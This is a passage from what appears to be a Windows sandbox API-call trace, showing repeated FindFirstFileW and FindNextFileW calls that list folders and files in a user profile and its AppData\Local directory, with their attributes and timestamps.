nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xce6394f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce6394f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x791af7b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8910dce0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x51ce78c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x51ce78c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79bf3690, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c197f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c197f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0144.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c3f950, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c3f950, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7945d070, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7945d070, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xce8c0c50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce8c0c50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0144.040] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcea178b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcea178b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcea178b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcea178b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0144.041] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.041] SetErrorMode (uMode=0x0) returned 0x1 [0144.042] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData", lpFilePart=0x0) returned 0x1a [0144.042] SetErrorMode (uMode=0x1) returned 0x0 [0144.042] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.042] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0144.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0144.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0144.043] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0144.043] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.043] SetErrorMode (uMode=0x0) returned 0x1 [0144.043] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData", lpFilePart=0x0) returned 0x1a [0144.043] SetErrorMode (uMode=0x1) returned 0x0 [0144.043] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcf13bab0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcf13bab0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0144.044] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.044] SetErrorMode (uMode=0x0) returned 0x1 [0144.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0144.045] SetErrorMode (uMode=0x1) returned 0x0 [0144.045] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38fd42e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1b228, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x53729330, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x1614fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0144.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0144.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", 